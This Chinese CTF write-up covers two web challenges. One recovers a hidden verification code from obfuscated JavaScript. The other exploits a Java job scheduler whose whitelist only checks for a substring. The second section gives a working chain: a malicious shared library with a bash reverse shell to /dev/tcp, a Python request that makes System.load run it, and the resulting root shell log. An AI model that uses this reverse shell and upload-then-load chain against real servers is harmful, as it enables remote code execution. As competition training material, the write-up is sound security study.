第十届 “磐石行动” 初赛 2025 Web Writeup
第十届 “磐石行动” 2025 Web Writeup
ezDecryption 访问网页，提示需要验证码
查看网页源代码，发现隐藏信息 JS 文件
源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 // 系统初始化脚本 (function() { const systemConfig = { version: "2.0.1", debug: false }; function initSystem() { console.log("系统初始化完成"); window._sysData = btoa(JSON.stringify(_systemData)); } initSystem(); window._verificationCode = btoa(_0x7e9); })(); // 系统功能模块 const systemModule = { // 获取系统信息 getSystemInfo: function() { return { version: "panshi", status: "active" }; }, // 验证功能 validateCode: function() { // 这里包含验证逻辑 const _0x1 = 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const _0x2 = atob("Mm9aNQ=="); const secretCode = _0x1 + _0x2; return secretCode; } }; // 导出模块（如果需要） if (typeof module !== 'undefined' && module.exports) { module.exports = systemModule; }
这里定义了一个函数，validateCode 功能是将 JS 混淆的密文解密，和另外 base64 解密的密文拼接成 secretCode 并返回
将其关键段取出，自定义一个函数并 JS 执行
1 2 3 4 5 6 7 8 var a = function() { const _0x1 = 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const _0x2 = atob("Mm9aNQ=="); const secretCode = _0x1 + _0x2; return secretCode; }; console.log(a());
拿到验证码，直接修改 step=3，拿到 flag
jaba_ez 一道 java 题，下载附件反编译，定位 Web 控制器
黑白名单如下，不包含 java.lang.System、System.load
1 JOB_BLACKLIST = new String[] { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "rmi", "ldap", "ldaps", "http", "https" };
看到白名单
1 JOB_WHITELIST = new String[] { "com.jabaez.FLAG" };
先看 upload 路由，直接获取 file.getOriginalFilename() 上传文件名，去掉任何路径前缀，只保留最后一段，并进行了简单的黑名单校验 .. / \ .，然后进行 CanonicalPath 强校验，最后保存文件。没有对文件内容做校验、文件后缀名未校验，同时 Spring 的 MultipartFile 允许用户自定义 Content-Type，几乎毫无阻挡
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 @PostMapping({ "/upload" }) public Map<String, String> uploadFile(@RequestParam("file") MultipartFile file) { final Map<String, String> result = new HashMap<String, String>(); try { // 1. 定义并确保上传目录存在 final String uploadDir = "/tmp/uploads/"; final File dir = new File(uploadDir); if (!dir.exists()) { dir.mkdirs(); } // 2. 获取原始文件名 final String originalFilename = file.getOriginalFilename(); if (originalFilename == null) { result.put("status", "error"); result.put("message", "文件名为空"); return result; } // 3. 规范化文件名，去除客户端路径 final String filename = new File(originalFilename).getName(); // 4. 简单的黑名单式文件名校验 if (filename.contains("..") || filename.contains("/") || filename.contains("\\") || filename.startsWith(".")) { result.put("status", "error"); result.put("message", "非法文件名"); return result; } // 5. 进一步校验：使用 CanonicalPath 防止绕过 final File dest = new File(uploadDir + filename); final String uploadPathCanonical = new File(uploadDir).getCanonicalPath(); final String destCanonical = dest.getCanonicalPath(); if (!destCanonical.startsWith(uploadPathCanonical + File.separator)) { result.put("status", "error"); result.put("message", "非法文件路径"); return result; } // 6. 真正保存文件 file.transferTo(dest); // 7. 返回结果 result.put("status", "success"); result.put("path", dest.getAbsolutePath()); result.put("message","文件上传成功"); } catch (Exception e) { result.put("status", "error"); result.put("message", e.getMessage()); } return result; }
/job/add，这是一个任务添加的功能路由，先做了黑名单检测，用到上面提到的黑名单列表，禁止常见的远程加载、网络调用、框架关键字，如java.net.URL, javax.naming.InitialContext, org.springframework, http, ldap 等，然后是白名单检验，只允许调用 com.jabaez.FLAG 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @PostMapping({ "/job/add" }) public Map<String, Object> addJob(@RequestBody final VulnController.ScheduledJob job) { final Map<String, Object> result = new HashMap<String, Object>(); if (this.containsBlacklist(job.getInvokeTarget())) { result.put("status", "error"); result.put("message", "\u5305\u542b\u975e\u6cd5\u5b57\u7b26"); return result; } if (!this.containsWhitelist(job.getInvokeTarget())) { result.put("status", "error"); result.put("message", "\u76ee\u6807\u4e0d\u5728\u767d\u540d\u5355\u4e2d"); return result; } VulnController.jobs.put(job.getJobName(), job); result.put("status", "success"); result.put("message", "\u4efb\u52a1\u6dfb\u52a0\u6210\u529f"); result.put("jobId", job.getJobName()); return result; }
但这里明显存在问题，只做子串判断，并不校验 invokeTarget 的开头或分隔符，任何包含该子串的位置都通过，当白名单校验通过后，就会 jobs.put 将任务存储进整个程序生命周期。
1 2 3 4 5 6 7 8 9 private boolean containsWhitelist(String str) { if (str == null) return false; for (String item : JOB_WHITELIST) { if (str.contains(item)) { return true; } } return false; }
最后是与任务添加息息相关的任务加载运行，它调用私有方法 invokeMethod(String invokeTarget) 解析出类名、方法名及参数，并使用反射执行。这里调用后，就直接触发反射任务，执行 invokeTarget 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @PostMapping({ "/job/run/{jobName}" }) public Map<String, Object> runJob(@PathVariable final String jobName) { final Map<String, Object> result = new HashMap<String, Object>(); final VulnController.ScheduledJob job = VulnController.jobs.get(jobName); if (job == null) { result.put("status", "error"); result.put("message", "\u4efb\u52a1\u4e0d\u5b58\u5728"); return result; } try { this.invokeMethod(job.getInvokeTarget()); result.put("status", "success"); result.put("message", "\u4efb\u52a1\u6267\u884c\u6210\u529f"); } catch (Exception e) { result.put("status", "error"); result.put("message", e.getMessage()); result.put("stackTrace", e.getStackTrace()[0].toString()); } return result; }
因此思路就有了，路由这边逻辑都没什么特别绕的，先利用上传接口将恶意 .so 动态库落地，通过注册反射任务并运行，然后 System.load() 会将动态库映射进进程地址空间，自动执行库里的初始化函数，完成 RCE。
1 2 3 4 5 6 #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() { system("/bin/bash -c 'bash -i >& /dev/tcp/ip/10000 0>&1'"); }
添加任务，这里写了一个小脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests import json url = 'http://pss.idss-cn.com:24973/api/job/add' headers = {'Content-Type': "application/json"} payload = { "jobName": "a", "invokeTarget": "java.lang.System#load('/tmp/uploads/com.jabaez.FLAG.so')", "cronExpression": "* * * * * ?" } proxy = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"} result = requests.post(url=url, headers=headers, data=json.dumps(payload), proxies=proxy)
调用 /api/job/run/{} 路由，执行反射任务
拿到反弹 Shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 root@hcss-ecs-91cd:~# nc -lvnp 10000 Listening on 0.0.0.0 10000 Connection received on ip 52558 root@:/app# ls ls jaba-ez.jar root@be576fc22a74:/app# ls / ls / app bin boot dev etc flag.txt flags home jdk lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var root@:/app# cat /flag.txt cat /flag.txt flag{KgUDzLceFxxxxxxxxx}
剩下两题没解出来，后面看看能不能复现补一下
ezyaml ez_py
